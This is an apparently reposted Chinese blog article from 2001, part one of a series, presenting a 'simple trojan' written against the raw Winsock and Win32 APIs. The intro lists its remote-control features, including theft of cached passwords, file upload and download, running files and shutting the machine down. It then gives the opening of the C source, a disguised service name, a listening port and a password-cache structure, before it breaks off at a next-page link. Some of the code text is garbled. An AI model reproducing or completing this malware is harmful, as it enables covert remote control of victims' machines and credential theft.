一个简单木马列子(1) (转)

最新推荐文章于 2024-11-15 16:22:36 发布

转载最新推荐文章于 2024-11-15 16:22:36 发布 · 95 阅读

本文分享了一个使用异步SOCKET方式直接调用WINSOCK API编写的简单木马程序示例，支持文件浏览、上传、下载等功能，在WIN9X、NT/2000系统下均可运行。

一个简单木马列子(1) (转)[@more@] 一个简单木马列子(1)

[ 作者: 病毒添加时间: 2001-5-21 下午 06:12:02 ]

来源：绿色兵团

俺写文章一般都赋源代码.除关键部分外向来不爱打太多说明性文字,因为觉得这样
才比较实际,关于那些函数用法和功能大可以去翻书,哪里讲的比谁都详细.

这里给了一个俺用异步SOCKET方式, 直接调用WINSOCK api,WIN SDK写的木马(VC,C++ BUILDER下均编译, 调试通过),无须客户端,编译后才几十K.实现了些主要功能, 文件浏览, 上传, 下载(均支持统配符),改变目录,获取系统信息,从CACHE取密码, 执行文件,显示进程, 发送消息,关机, 还有些控制功能, WIN 9X,NT/2000下均可使用,在NT,2000下,因考虑到如CMD.EXE已改名或不存在,那么程序将毫无用处. 所以并没有调用CMD.EXE来完成,全部由自己来做,WIN API实现.要想自己程序通用就不要怕麻烦.建议那些用现成控件写木马和网络通讯的朋友应该看看,去熟悉这些根本所在, 尤其是在网络通讯方面.如果你是个程序员我想大可不必用我多说,在开发中俺还没见过哪家公司让用现成类 (MFC,VCL)来做的.

此程序还不很健壮,写完后也没来的及优化,主要是拿来让大家熟悉一下WINSOCK和WIN SDK 编程.

//---------------------------------------------------------------------------
// WINSOCK API,WIN SDK编程,无需客户端
//
// 作者: 贾佳
//---------------------------------------------------------------------------

#include < windows.h>
#include
#include
#pragma hdrstop
#include
#pragma argsused

#define RUN "WinMon32.exe"

//注册服务
#define SERVICE_PROC 1
//卸载服务
#define UNSERVICE_PROC 0

#define TH32CS_SNAPPROCESS 0x00000002
#define PROCESS_HANDLE_NAME 255

//缓冲区长度
#define dwBuffSize 2048
//命令行长度
#define dwComm 50
#define PORT 9102
#define WM_SOCKET WM_USER+1
#define PROMPT "LanLan:>"

D word dwVersion=MAKEWORD(1,1);
DWORD dwFlag=TRUE;
WSADATA wsaData;
SOCKET CreateSock,NewSock;
SOCKADDR_IN Sock_in,NewSock_in;
LPTSTR szRea dbuff,Ob,TempBuff;
int addrlen;

//CACHE PASSWORD结构
typedef struct tagPASSWORD_CACHE_ENTRY {
WORD cbEntry;
WORD cbRe source;
WORD cbPassword;

.NET/getc/data/200105/2118104901_1.htm">下一页 8

来自 “ ITPUB博客 ” ，链接：http://blog.itpub.net/10752043/viewspace-989139/，如需转载，请注明出处，否则将追究法律责任。

转载于:http://blog.itpub.net/10752043/viewspace-989139/